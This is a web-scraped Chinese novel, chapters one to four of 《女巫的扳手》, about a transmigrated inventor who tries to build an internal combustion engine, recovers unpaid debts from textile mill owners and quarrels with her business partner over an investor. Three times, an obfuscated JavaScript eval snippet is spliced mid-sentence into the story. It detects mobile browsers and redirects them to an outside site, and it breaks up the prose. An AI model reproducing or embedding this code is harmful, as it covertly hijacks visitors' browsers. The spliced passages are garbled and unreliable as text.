《女巫的扳手》 1. 女巫的职业危机01 拉法索亚大陆历3276年。 这一年,艾莉西亚·切斯特二十二岁,这是她来到这个异世界的第二十二年。同样在这一年,艾莉西亚拥有了一间完全属于自己的机械工坊。 为了方便锻造,艾莉西亚·切斯特选择卡斯塔尼亚城北一条支流附近建造自己的机械工坊,这条河的流量不大不小,艾莉西亚花钱建筑了一个微型堤坝,并造了一个水车作为早期动力。 这花了艾莉西亚不少钱,但比起购买一台价格高昂的蒸汽机、并支付后续的燃料费用,建造小型堤坝和水车显然更经济划算。 工坊只有几个房间,其中一间最大的作为机械制造车间,车间内摆着几张小型机床,几个不同材料制造的内燃机配件堆在地上。 车间内的器具摆得有点乱,图纸、零件、各种工具到处都是,但整个车间却很干净,机床上面几乎一尘不染,摸不到半点灰尘,更没有一点油渍。 但这并不包括车间正中央的工作台。工作台上摆着个成型的内燃机,活塞的位置从内部炸出一个洞,碎掉的零件溅得到处都是,分散在工作台的角角落落。 这是艾莉西亚炸掉的第二台内燃机。 为了这台内燃机,艾莉西亚花了八个月时间,现在八个月的努力毁于一旦,饶是艾莉西亚信心满满,也感到无比挫败。 她还需要多长时间,才能成功呢? 作为穿越者,艾莉西亚坚定地相信着内燃机会取代蒸汽机,成为所有运输工具的心脏,但是吧,在这个蒸汽机蓬勃发展的异世大陆,还存在着一股不同于地球的神秘力量。 正因如此,拉法索亚大陆的科技树点歪了,工厂主和专利获得者并没有试图研发节能高效的内燃机,反而借着那个神秘力量,将蒸汽机越做越小、越做越精密复杂,很多机械都能安装蒸汽机作为动力,因而内燃机这个只存在于概念的机械一直处于搁置状态。 不,或许有人研究过,但没有成果,所以放弃了。 艾莉西亚来自地球,她很清楚内燃机的前景有多广,既然这是一片无人踏足的蓝海,艾莉西亚肯定要抢占先机。 而且尽管蒸汽机越做越小,但它作为动力机,缺点仍十分明显——提醒过小而导致动力不足,动力足的又过于笨重,并且燃料难以携带。 那种超小型的蒸汽机艾莉西亚也见过,能做到只有高压锅大小,但不知道是动力不足还是别的什么原因,这样的蒸汽机并没有被推广到商用领域。 以蒸汽汽车为例,体型最小的蒸汽汽车也有四五米卡车大小,它的蒸汽锅炉、燃料储备需要一定空间,驾驶的时候要两个人配合,一个负责在锅炉间盯着燃料和锅炉内的水位,另一个负责在驾驶台操作,除去这两个部分,蒸汽汽车的实际使用空间只有机身的一半。 这样的庞然大物造价高昂、实用性却很低,厂商参加博览会之后,只收到三笔订单,研发蒸汽车的工厂老板也因此破产。 不过后来有人把这项技术买回来,转而制造农用机械,不知道结果如何。 在这样的情况下,内燃机优势明显,这也是艾莉西亚坚持要做内燃机的原因。 但想法很好,真正要落地的时候,问题却一个接一个。 艾莉西亚上辈子是个文科生,物理成绩一般,四冲程内燃机的运行原理倒是知道,也知道发明人姓奥托,但再多就没有了。 这辈子艾莉西亚很早就确定自己要走这条路,因此在通识学校念书时有意培养机械相关的能力,但是这里的工业是以蒸汽机为基础,艾莉西亚学到的都是走偏了的蒸汽机热力学,要复刻上辈子的内燃机帮助有限。 在这样的情况下,艾莉西亚只能靠自己一点点摸索。 好在艾莉西亚上辈子因为生病不能跑不能跳,却能沉得住气,凭着一股狠劲一路坚持下来,艾莉西亚做出了模型机。 模型机做出来测试,艾莉西亚心里清楚这顶多算个半成品,但艾莉西亚没想到机器刚启动不到半小时就炸了。 当然,在研发初期,这种问题是很正常的。 出现这个问题的原因有很多,可能是燃料燃烧时温度过高,超过了气缸能承受的上限;可能是因为进排气系统或点火有问题,导致燃烧不完全;还有可能是冷凝系统的效率不够…… 接下来的工作,就需要一项一项地排查,并一一解决。 只是这个过程必然是漫长而繁复的,还可能反复,艾莉西亚心志坚定,也难免觉得疲惫,有种黎明的曙光在向她招手。 但要什么时候才能到呢?不知道。 艾莉西亚放任自己情绪低落下去,半个小时后,她深吸一口气,打了一套乱七八糟的拳法收拾心情,开始后续工作。 艾莉西亚拿着她的纯黑扳手,在工作台上轻敲三下,无形的能量震荡,以艾莉西亚站立的位置为起点,地板上逐次点亮一个个繁复优美的图案,那些图案晃眼一看没什么特别,但盯着的时间超过一秒,图案便像是被灌注奇异的能量,活了一样动起来。但再仔细看,又仿佛幻觉,什么都没发生。 接着,像是无形的手突然出现,迅速地将炸掉的内燃机收拾好,零件碎片丢成一堆放在工作台角落,片刻后,又脏又乱的工作台变得整齐而有条理。 就在艾莉西亚准备着手排除问题时,车间门被敲响。 一个身材小巧玲珑的年轻女士推门而入,她来得匆忙,见面就和艾莉西亚说,“艾莉,小安托瓦先生回来了。” 艾莉西亚在她看不到的地方露出痛苦面具,转过脸来时,又换了一副面孔,“哦,特蕾娅,别着急,你先喘口气,小安托瓦先生既然回来了,他短期内应该不会离开卡斯塔尼亚,或许我们应该等他安顿好再上门拜访。你觉得如何?” “不不,”特蕾娅说,“来不及了,你立刻跟我回城,我们要尽快见到小安托瓦先生,把他重新投资切斯特零件制造厂的合同签订下来。否则,康奈尔教授就会带着他的学生抢走这笔投资。” 艾莉西亚笑了一下,“亲爱的,小安托瓦先生是一个富有的商人,他的家族资产雄厚,他自己的投资也很多,不会因为投资了康奈尔教授就没钱给我们。” 特蕾娅笑不出来。 她严肃地说,“小安托瓦家族在王都遭到政敌打击,我在王都的朋友告诉我,小安托瓦先生主动向现任安托瓦公爵贡献了大半家产。” 哦豁,那家伙要破产了? 艾莉西亚在心里幸灾乐祸了一秒,但很快反应过来,那个精明的男人绝不是舍己为人的类型,其中必然有缘故。 她看特蕾娅十分紧张,劝慰道,“放轻松,我相信小安托瓦先生会安排好的。” “怎么可能放轻松!”又是如此!艾莉西亚又在敷衍自己! 特蕾娅心中不满,她能理解艾莉西亚对小安托瓦的怨气,毕竟那个精明又冷酷的男人为了逼迫艾莉西亚放弃研究内燃机,毫不留情地撤回了所有投资,艾莉西亚为了筹措资金退还小安托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774062|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦,四处举债,为此耽误了一年多才把这个机械工坊建造起来,并且到现在都还在还债。 若是零件厂一直经营良好就算了,但零件厂的情况很不乐观,这时候小安托瓦愿意回头帮一把,还给出了丰厚的条件,这有什么不能接受的? 为了照顾艾莉西亚的情绪,特蕾娅明知艾莉西亚有意拖延,她也没有说破,反而放任她自己调节。 可现在情况危急,再没有资金入账,制造商可能会被债主们逼破产。 特蕾娅神情紧绷,犹如一根被拉伸到极致的弓弦,“零件厂的房租又涨了,房东一直催着我们,而我还要想办法留出足够的钱支付原料费、燃料费、工人工资,还有其他开支,账上的现金左支右绌,大窟窿叠着小窟窿,而你还拿工厂抵押,建造了这个不知道什么时候才能出成果的工坊,你让我放轻松,艾莉西亚·切斯特小姐,你告诉我,我该怎么放轻松?” 艾莉西亚下意识反驳,“可是内燃机的研究已经到了关键时候,……” “内燃机内燃机内燃机,你上个月这样和我说,上上个月也这样和我说,你只会做出承诺,却不肯兑现,切斯特,我等了你八个月,如果你再继续这样下去,不如直接把零件厂关掉好了。反正你的父亲、老切斯特先生已经为你找好了结婚对象不是吗?” “嘿!特蕾娅!”艾莉西亚不满地抗议。 特蕾娅意识到自己过于激动,但她话已出口,且她不认为自己说错了,倔强地避开艾莉西亚的目光,抿着嘴不说话。 艾莉西亚这几个月待在工坊,对制造厂的关注几乎没有,这是她的失职,但被特蕾娅责备,她心里又觉得气。 艾莉西亚心里默念要冷静,几秒钟后,她尝试给出解决方案,“我记得上个月交付了一批纺织机飞梭,大约有三四百金费尔,这笔钱应该足够应付房租了吧?原料费我想办法和供应商先谈谈,暂缓一段时间,这样工厂的现金应该能维持运转了。” 特蕾娅露出一抹冷笑,“是的,我们的确有货款没有收回来,你以为我为什么着急让你找小安托瓦先生?因为没有他的支持,我们根本无法和那些厚颜无耻的纺织商人对抗。除了上个月的纺织机飞梭,还有好几笔订单都没有拿到尾款,是我不想跟他们要尾款吗?是我们办不到!那些比狐狸还要精明的老家伙们比谁都懂欺负我们这样的小工厂,没有大人物撑腰,光我们自己,只会把零件厂拖进深渊。” 艾莉西亚冷静地说,“能办到的。这样,我先去找纺织厂老板,把货款拿回来。小安托瓦先生的事暂且放一放,如果他也还有钱,必然不会在意要不要多投资一笔,他如果没钱,即使我们现在找上门也不会得到想要的结果。” 特蕾娅盯着艾莉西亚的眼睛,她心里清楚,艾莉西亚仍在想办法避免小安托瓦投资,但她不能把艾莉西亚逼得太紧。 她捂住自己的额头,深吸一口气,问道,“你要怎么做?” 艾莉西亚朝她神秘一笑,从制造车间出去,来到工坊的另一个车间门口,这个车间内不时传出叮叮当当的金属锤炼的声音。 艾莉西亚把门推开,抬高声音朝里面喊,“米亚女士,可以暂停你手里的工作吗?我有件事需要拜托你。” 锻造间的金属敲击声停了下来,一个赤着胳膊、身高超过一米九的魁梧女士从里面走出来。 特蕾娅不自觉地仰起头看向那个留着寸头的高大女人,她没有感觉到安心,反而有种事情即将脱轨的失控感。 2. 女巫的职业危机02 艾莉西亚带着米亚·约克乘着马车去城西。 还没到纺织工厂的地界,远远地,就能看到城西那些伫立在各个工厂上的巨大烟囱,烟囱向外源源不绝地吐着黑烟,将这片天空变得乌漆嘛黑,长年累月地乌云罩顶。 尽管环境糟糕,但这并不重要,恶劣的生存环境并不在工厂主的考虑范围内,他们聚集在这片区域的主要原因是这里的交通十分发达,原料和产品运输能节约一大笔钱。 卡斯塔尼亚城的领主、阿斯蒙德伯爵的女继承人花重金拓宽道路,规划铁轨,把行人、马车、轨道列车分开,极大地提升了交通。 此外,女继承人还修建了几条直通运河码头的轨道,并宣布在年底上马大陆第一辆蒸汽列车,届时,货运费将会进一步降低。 大量工厂主慕名而来,资本雄厚的大工厂主们占据了最为核心的地段,实力一般的小工厂主则在外围搭建厂房,于是工业区外围又形成了新的、杂乱而混乱的地带。 艾莉西亚要去的纺织工厂,就处在工业区外围。 这里的路十分狭窄,马路两边的建筑挨得极近,路面也坑坑洼洼。 艾莉西亚坐在马车里,颠簸的马车让她的臀部失去了知觉,同时她还要忍受着时时刻刻从街面上传来的充斥着各种异味的、粉尘含量超标的空气。 她紧紧捂着自制的口罩,仍感觉那些奇怪的味道拼命地往鼻孔里钻。 坐在艾莉西亚对面的米亚·约克嘲笑她,“你们女巫可真娇气。” 艾莉西亚心说,你这种分娩都能把营地驻扎在雪狼巢穴附近的超级赛亚人当然不娇气,但她不想说话,用她的白眼表示反驳。 米亚身材魁梧,体格健壮,长年生活在大陆极北荒原,这位女士身上有种无法被驯服的野性。 按理说,一个是强悍的极北之地野人,一个是矫情做作的女巫,两个人本应该毫无交集。但命运有时候就是这么有意思。 大约三四年前,艾莉西亚需要制作魔杖,城内凑不齐材料,她跑去极北之地挖矿,恰好遇到刚生下小女儿的米亚遭遇雪狼袭击。 艾莉西亚被婴儿穿透性极强的哭泣声吸引,她赶到时,米亚和头狼打得难舍难分,帐篷里的两个孩子毫无防护,而狡猾的雪狼即将撕开帐篷。 事后米亚自己回忆起来,都要感慨神明庇佑。 不过米亚心大也是真的心大,即使遭遇过雪狼入侵,她仍带着两个孩子在极北之地又过了好几年,直到半年前才入城定居。 半小时后,马车终于来到欠钱不还的客户门口,还没进去,就听到一个中年男人的高声咆哮,那声音极愤怒,几乎要掀翻屋顶。 门房的守卫问他们来做什么,艾莉西亚直接越过他,丢下两个字:“讨债!” 他一愣,立刻要去拦,但刚身手,就被米亚一个眼神钉在原地。 怎么会有这么可怕的人呢?那个女人那么高,那么壮,眼神像野兽一样。 看到守卫吓得不敢动弹,米亚轻蔑地撇嘴。 有了米亚护航,艾莉西亚顺利地长驱直入。 厂房内,纺织机整齐地排列着,没有人工作,所有机器都被关停了。 工人们聚在一起,围在一个身体稍胖的中年人身边,而中年人正在泄愤似的踢打一个年轻男人,一边踢打一边咒骂。 挨打的男人惨叫连连,却不敢反抗,他缩成一团,尽量护住脑袋。 艾莉西亚看了一会儿,站上主管们监工的梯子,居高临下地、大声地说,“嘿,韦博特先生,你看起来好暴躁,都要把人打死了。” 纺织厂老板雅可比·韦博特皱着眉转身,他眯起眼睛,看了一眼跟着艾莉西亚一起进来的小主管,对方苦着一张脸,很显然,那个小主管已经尽力了,但他阻挡不了艾莉西亚。 韦博特让工厂经理接手剩下的工作,他的表情变化极快,吩咐完经理之后,脸上就看不到怒意了。 韦博特一边整理衣服,一边朝艾莉西亚走过来,他皮笑肉不笑地说,“哦,切斯特小姐,我这么做可是在救他。你知道,我们这样的纺织工厂最怕火灾,一丁点儿火星子就会让整个工厂炸上天,所有人都会被烧成焦炭,刚刚那个家伙竟然敢在车间里抽烟,这难道不值得一顿鞭子?” 他连鞭子都没拿出来呢,够仁慈了。 艾莉西亚也回他一个皮笑肉不笑的表情,“你说得对。” 她从梯子上跳下来,拿出一张货单扬了扬,“韦博特先生是一位让人尊敬的生意人,这表现在他对工人们要求严格上,也表现在诚信守诺上,不是吗?” 艾莉西亚的音量并不小,被主管赶羊群一样赶回机器面前的工人们听得清清楚楚,工人们有意无意地朝这里投来目光。 韦博特嘴角一抽,他扫一眼那些装作忙碌、实际支棱着耳朵偷听的工人们,咬着牙,好声好气说,“当然当然,切斯特小姐,请跟我来,来我的办公室我们好好谈。” “好啊。”艾莉西亚是来要钱的,在对方没有主动拒绝之前,她还是要表现一下友好。 艾莉西亚随着韦博特的引导往办公室方向迈步,米亚自然地跟上她的脚步。 韦博特的表情差点没绷住,这个高出他一个脑袋的女人又壮又充满压迫感,“这位——额,女士就不必一起吧?” 艾莉西亚挑眉,“介绍一下,这是我新的合伙人,米亚·约克女士。” 办公室内,韦博特坐在豪华的实木椅子上,翘起腿,拿出他的烟斗点燃,嗒吧嗒地抽起来,没一会儿功夫,整个办公室都充斥着让人作呕的味道。 “切斯特小姐,”韦博特说,“不是我们不愿意支付你们货款,如果我的账上有钱,我当然愿意立刻把货款付给你们,但——我们现在的确拿不出那么多钱,你就再等等,等我们把这一批货运到沃华德卖掉,我立刻付钱。” 米亚瞅了艾莉西亚好几眼,却见她始终面带微笑,连眉头都没有皱一下。 “那需要多长时间呢?”艾莉西亚好脾气地问。 韦博特换了个姿势跷起腿,仍然吧嗒吧嗒地抽着烟斗,“这个我可保证不了,你知道,最近海上风浪大,商船到港时间肯定要推迟,到了港口要花时间排队入港,等经销商把货拿走、支付尾款也需要时间——” 米亚不耐烦地打断他的长篇大论,“反正就是不给钱是吧?”艾莉西亚做事太温吞了,简直不像个女巫。 韦博特拿烟斗的手微不可见地抖了一下,差点没把昂贵的烟斗给摔了。 但毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774063|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经商多年,韦博特强压下对米亚的恐惧,满脸不高兴地说,“我可没有这样说。切斯特小姐,要我说,你这位合伙人找得不怎么样啊,一点儿不懂做生意。” “我明白你的意思,”艾莉西亚起身,走向窗户,“但我也被原料商追着要钱,还有几十个工人等着拿钱养家,韦博特先生开工厂这么多年,应该会理解的。” 理解什么?理解就有鬼了。 韦博特心里一突,难道切斯特要硬抢? 他时不时扫一眼米亚,这个高大健壮的女人始终让他很没安全感。 “切斯特小姐,容我提醒你,我们生活在一座法律制度完善、治安官效率极高的城市。”所以不要以为带了个野蛮人来就想为所欲为。 艾莉西亚对伟博特假笑,“当然。我可是从来都按照合同办事,绝不会让我和我的合伙人沾染丝毫法律风险。按照合同,韦博特纺织厂应该在交付飞梭的当月付完所有尾款,现在是交付飞梭的第二个月了,韦博特先生,是你不按照合同办事啊。 “而我,可怜的切斯特零件制造厂老板,我只是想拿回我们自己家的零件而已。走吧,米亚女士,把纺织机上的飞梭都拆下来,我们拿这个去抵押给原料供应商。” 米亚笑得畅快,把拳头捏的嘎吱作响,她转身走出办公室,朝纺织车间走去。 韦博特顾不上装腔作势,扯开嗓子大喊,“快阻止她!阻止那个女人——” 但很显然,没有人是米亚的对手,前来阻止米亚的男人在她面前像小矮人一样毫无威胁。 米亚轻轻松松收拾完打手们,她来到第一台纺织机面前,操作机器的工人畏惧地让出位置。 米亚关掉机器,扯断飞梭上的线,取下飞梭,随意地丢到地上,木质的飞梭把硬化过的水泥地面砸出一个浅坑。 失去纬线的、未成形的布匹松散开。 韦博特在办公室看着那匹报废的布,心痛难忍。那台纺织机制作的是高级羊绒布,品质细腻,售价极高,一匹羊绒布运到沃华德能卖十几个费尔。 艾莉西亚打开窗户,烟味逐渐散去,她慢悠悠地火上浇油,“韦斯特先生,请不要担心,米亚做生意不在行,但她很懂机械,拆飞梭是一件再简单不过的事,她的速度很快,要不了多久,我们就能去你的新厂房拆下一批—— “不过新厂房除了飞梭还有别的好多零件对吧?哎呀,这可真是一个大工程呢。” 韦博特身体僵硬,他扭过脸看向艾莉西亚,“切斯特小姐,你知道自己在做什么吗?你要毁了我们的合作!这件事传出去会让切斯特零件制造厂再也卖不出零件!哪怕一个,我也绝不会让你再卖出去!” 艾莉西亚,“挺好啊,反正我要改做别的了,零件厂破产刚好给我腾出空。至于韦博特先生你还能不能找到比我们更价廉物美的零件,我就不知道了。反正我会告知同行,韦博特先生从不按合同办事,最喜欢找各种理由拖欠货款了。啊,要是韦博特别的零件坏了要怎么办?要停工吗?韦博特先生的新厂房是从圣骑士银行贷款盖的吧?” 韦博特双目充血,他哆哆嗦嗦地指着艾莉西亚。 艾莉西亚露出一个发自内心的微笑,“付尾款吗韦博特先生?米亚女士要拆第二台了哦。” 3. 女巫的职业危机03 艾莉西亚拿着五百三十金费尔的现钞从韦博特纺织厂出来,崭新的钞票上还残留有油墨的味道。 韦博特一开始要开支票给艾莉西亚,艾莉西亚没要,他不得不让经理去银行取现钞过来,然后像送瘟神一样把艾莉西亚送出门。 艾莉西亚走的时候态度又恢复一开始的和善,还接着拉生意,“韦博特先生,期待我们下一次合作,除了飞梭以外,更多的纺织机零件我们都可以加工,整个市场上,你绝对找不到比我们更价廉物美的零件。” 韦博特假笑。 艾莉西亚,“放心啦韦博特先生,我会让特蕾娅给你折扣的。” 韦博特继续假笑。 用同样的方法,整个下午,艾莉西亚追讨回近两千费尔的货款。 下午六点,艾莉西亚来到切斯特零件制造厂,特蕾娅还在办公室工作,艾莉西亚让马车送米亚回家,她家两个小孩也该从学校回家了。 “一共一千八百七十三费尔,来自五家工厂,他们的老板都表示只要我们的产品保持价廉物美,他们还愿意合作。” 艾莉西亚把钱放在特蕾娅的办公桌上,洋洋得意地宣布自己的战绩,“这钱足够零件厂运转一段时间了,你不用再那么紧张安托瓦的投资了吧?” “这笔钱的确足够维持一段时间的运营了,”特蕾娅收下钱数了数,确认好金额,叫来会计把钱入账,她随意的说,“晚上没有安排吧?一起吃饭吗?” 艾莉西亚点头,顺嘴问道,“去哪里?你的未婚夫也一起?” 特蕾娅一边穿外套一边说,“当然,有男士在,他一定要作陪的。” 艾莉西亚盯着她看了一会儿,起身就走。 特蕾娅追上来,“艾莉,艾莉!别这样。” 艾莉西亚没理她。 自从特蕾娅和凯伊·布兰卡订婚两年以来,艾莉西亚一共只和他吃了两次饭,两人在工作上没有交集,私交约等于无,特蕾娅突然让布兰卡作陪,对方是一位地位不低的男士。 地位不低又需要艾莉西亚去应酬的人,除了小安托瓦,艾莉西亚想不到别人。 然而艾莉西亚花费一个下午要回货款,就是为了理直气壮地拒绝那家伙投资,现在却让她和小安托瓦共进晚餐,继续商讨投资的事?那她岂不是花了一下午做无用功? 特蕾娅说,“这是早就定好了,小安托瓦先生希望你能给他一个机会,我想他作为我们最早的投资人,他的邀请我们最好不要拒绝。并且内燃机研发出来需要大量资金投产,艾莉,小安托瓦愿意给我们足够的诚意,在履行合约这件事上,他是一个合格的商人。” 艾莉西亚拿回来这一千八百费尔的钱让特蕾娅狠狠松了一口气,但这并不会影响她继续和小安托瓦洽谈投资事宜。 在特蕾娅的规划中,小安托瓦的投资必不可少,这既可以分担增加新生产线的风险,同时也能依靠小安托瓦的人脉打通流通环节——特蕾娅希望零件厂发展壮大之后能远销大陆各国。 有这样的捷径,为什么要拒绝呢? 特蕾娅和艾莉西亚一开始是拿到小安托瓦的投资,才慢慢地发展到今天。 艾莉西亚停下脚步,“特蕾娅,你的做法让我看起来像个可笑的、任人操控的木偶。” 遭受如此严重的指控,特蕾娅并不慌张,她温声细语地解释给艾莉西亚听,“不,亲爱的,有了你要回来的货款,我们面对小安托瓦的时候才更加有底气。” 看着特蕾娅温和但坚定的神情,艾莉西亚知道她无法改变特蕾娅的想法了。 艾莉西亚直到特蕾娅对重新寻求小安托瓦投资的执着,在这之前,她一直在拖延时间,希望能拖延到内燃机研发成功,届时拿着内燃机专利去寻求投资,得到的资金会比现在更充裕。 但艾莉西亚没料到内燃机的研究迟迟出不了结果,而特蕾娅不愿意等下去了。 艾莉西亚迅速在心里衡量利弊。 特蕾娅是切斯特零件厂的股东、经理,零件厂的经营事务都是她在处理,有了特蕾娅,艾莉西亚才能全心全力扑在研究上。 当然,如果艾莉西亚狠狠心,她也能把特蕾娅踢出局,就像她对待小安托瓦那样。这笔钱艾莉西亚还能筹措出来。但把特蕾娅踢出局之后呢? 她找不到第二个特蕾娅来管理工厂。 “你知道,小安托瓦不是一个好说话的投资人,你忘记了吗,特蕾娅?我们上一次和他闹崩,就是因为他蛮横地干预我的研究,强迫我必须按照他的想法做事,”艾莉西亚仍盯着特蕾娅的眼睛,“如果你愿意在等等,我们会有更好的投资人。” 特蕾娅手心里冒出一点冷汗,她知道到了说服艾莉西亚的关键时刻。 “亲爱的,我知道你的意思,但零件厂已经到了不得不改变的地步,或许我们现在还能拿到一些订单,但我们的产品技术含量并不高,拿到的订单永远是其他机械厂的残羹冷炙,并且现在的零件市场已经趋近饱和,你知道吗? “就在上个月,又有两家零件厂开始修建了,等他们落成,我们除了降价不会有第二条出路。然而我们现在的利润已经很微薄,一旦降价,零件厂之间必然会出现惨烈的价格竞争,我们这样的小厂劣势明显,很容易就会被吞并或者破产。 “我想,你也不希望等你把内燃机做出来,却只能苦苦求着其他机械厂合作吧?即使有机械厂愿意与我们合作,我们能分到的利润将会很稀少。 “亲爱的,我相信你对内燃机前景的判断,但要真正借着内燃机赚大钱,只有保下零件厂,我们必须趁现在的优势还在,扩充产品线,为将来内燃机生产做准备。” 特蕾娅说的非常有道理。 艾莉西亚几乎要被她说服了,但她同样知道,特蕾娅只说了拿到投资的好处,坏处却只字不提。 小安托瓦不是慈善家,他投资的每一分钱都必须给他带来丰厚的回报,不然他会让接受投资的人后悔伸手。 但小安托瓦一直不看好内燃机的前景,他看好的是蒸汽汽车的研发,尽管几年前的博览会上展出的蒸汽汽车让一个机械工厂主破产,但蒸汽汽车的研究更为广泛,并且,斯图尔特大学的康奈尔教授带着他的学生们在做这个研究,据说已经快出成果了。 所以,小安托瓦为什么舍弃了康奈尔,反而放低姿态来投资他不看好的内燃机呢? 艾莉西亚沉吟着,她觉得小安托瓦去沃华德一趟一定发生了什么,而特蕾娅对此一无所知。 见艾莉西亚不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774064|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,特蕾娅继续劝说,“艾莉亲爱的,小安托瓦主动寻求给我们投资,主动权就在我们手里。我想这一点他心里应该很清楚。” “是吗?” “当然!”特蕾娅露出自信的微笑,“你拿回来的货款给我们带来了足够的底气,相信我,我这样做并非想要操控什么,我只是想尽可能地争取更好的条件。” 特蕾娅信心十足的样子,让艾莉西亚想起两个人一无所有的时候。 艾莉西亚和特蕾娅都是小安托瓦的贸易公司的职员,艾莉西亚是在特蕾娅的支持下,争取到安托瓦的投资,也是在特蕾娅的支持下,艾莉西亚克服重重困难,把零件厂做起来。 或许那时候很少人会相信两个女人能突破男人的封锁,在竞争激烈的机械市场上攫取利益,但特蕾娅相信。 特蕾娅相信艾莉西亚能闯出一片天地,她也相信自己能。 特蕾娅身上有种顽强不息的生命力,她有野心,也有抓住每一个机会向上爬的决心。 艾莉西亚很欣赏这样的特蕾娅。 然而,当特蕾娅用她如此坚韧不拔的决心来说服、甚至操控艾莉西亚时,艾莉西亚的感觉,就很微妙了。 艾莉西亚摸着下巴,她已经不那么抵触去小安托瓦家洽谈投资。 但她的思绪转到了另一个方面,或许是因为这段时间艾莉西亚的研究成果迟迟没有出现,让特蕾娅认为她占据了更多的主动权,所以她采取了绕开艾莉西亚的方式,去接触小安托瓦。 这个事让艾莉西亚松懈的神经警惕起来,她和特蕾娅的合作需要一次深入的沟通,并且,她也需要多物色一些具有管理能力的人才了。 不过这是以后的事,艾莉西亚现在最好奇的,是什么改变了安托瓦的想法。 在艾丽西亚的沉默中,特蕾娅让自己的声音变得柔和,“亲爱的,我当然知道你的底线在哪里,相信我,我们会得到想要的。” “唔,好吧,我和你去见小安托瓦。但我不保证一定会得到你想要的结果。” 特蕾娅露出包容的微笑,“亲爱的,你该相信我的谈判能力,毕竟,我长得不好看也没有好的出生,是我的能力才让我走到今天,不是吗?” “当然,如果没有你,我说不定是个建起工坊但负债累累的穷光蛋。如果不是你,我绝不会改变我的想法,小安托瓦那个家伙真让人生不起一点好感。” 艾莉西亚轻轻笑了一下,“亲爱的特蕾娅,我不知道你竟然会困扰于世俗对女人的容貌评价之中。一般而言,一对有钱的夫妇,有一个以美貌出名不就行了吗?就像那些大腹便便的的贵族老爷,他们从不会认为自己的身材不够健美,相反地,他们甚至认为那非常有男子气概呢。” 特蕾娅忍不住笑起来,“你说得对,只要凯伊足够英俊就行了,如果他以后不再英俊,我还能考虑换个更年轻、更英俊的男孩。” “没错,这才是我们未来的特蕾娅夫人应该有的态度。只要站得足够高,谁管世人如何评价?你看我们那位伯爵女继承人,谁敢在她面前说她应该嫁出去、把权利和财富都给她的丈夫掌管?” “哈哈哈哈我想敢这么做的人,脑子肯定被塞满了稻草,而女继承人会直接把他塞进坟墓。” 4. 女巫的职业危机04 和特蕾娅的关系似乎恢复如初。但不论是艾莉西亚还是特蕾娅,她们心里都清楚,这只是在目前的局势下相互妥协的结果。 人与人之间的关系十分微妙。 在今天之前,艾莉西亚不会想到,特蕾娅会背着自己搞小动作。 当然,这并不是说特蕾娅做错了,在她的立场上,她只是为了更好的维护工厂的经营。 而艾丽西亚的做法会耽误工厂扩张。 艾莉西亚承认,她的性格当中有一部分相当的傲慢,这可能有一点因为自己是穿越者的缘故,她或多或少都会觉得自己有着超越这个时代的眼光,从而忽略了很多细节。 艾莉西亚一边反省自己犯的错,一边又宽慰自己,人的精力都是有限的,哪能面面俱到呢?下次不要犯同样的错误就行了。 不过,晚上这顿饭到底没有吃上。 小安托瓦差遣人来通知,晚上有更重要的事要处理,参会时间需要等他腾出时间再说。 小查普伊斯·安托瓦就是这样一个唯我独尊的家伙,艾莉西亚一点也不意外他能办出这事。 她反而觉得能拿这件事做做文章,即使同意小安托瓦重新投资,也绝不让他好过。 但特蕾娅快被气炸了,她好不容易安抚好艾莉西亚,临出发前,小安托瓦却爽约了,这算什么? 只是,比起愤怒,特蕾娅更担心会不会是康奈尔教授捣鬼,才让小安托瓦取消了会谈。 特蕾娅立刻让人去盯着小安托瓦的动向。 艾莉西亚没去给特蕾娅糟糕的情绪增添燃料,特蕾娅的自尊心很强,她认为自己的存在会不断地提醒特蕾娅的失误,这会增加特蕾娅的精神压力。 艾莉西亚若无其事地和特蕾娅打了个招呼,就下班回家了。 然而,特蕾娅并不认为艾莉西亚这样做是体贴自己。相反地,特蕾娅认为艾莉西亚对工厂的事太不上心,才会在重要的投资会谈取消后表现得如此轻松。 但纰漏出在自己这里,特蕾娅没有立场指责艾莉西亚,只能看着她离开。 …… 蒸汽时代的一切都是灰扑扑的,工厂区空间有限,能看得见的地方都用来建造人类的居所,没有多余的空间,就在原来的高度上继续搭建,反正是给工人们住,建筑的安全性才不是资本家们考虑的事。 在这样的环境中,植物永远稀缺,这让这片阴郁的区域更加难以忍受。 艾莉西亚坐着出租马车,直到马车行驶有二十多分钟后,才看到一些用来装点路面的植物。 艾莉西亚到家时有点晚了,妹妹罗德·切斯特作业都写完了。这个小姑娘今年八岁,在两个街区外的通识学校上课。 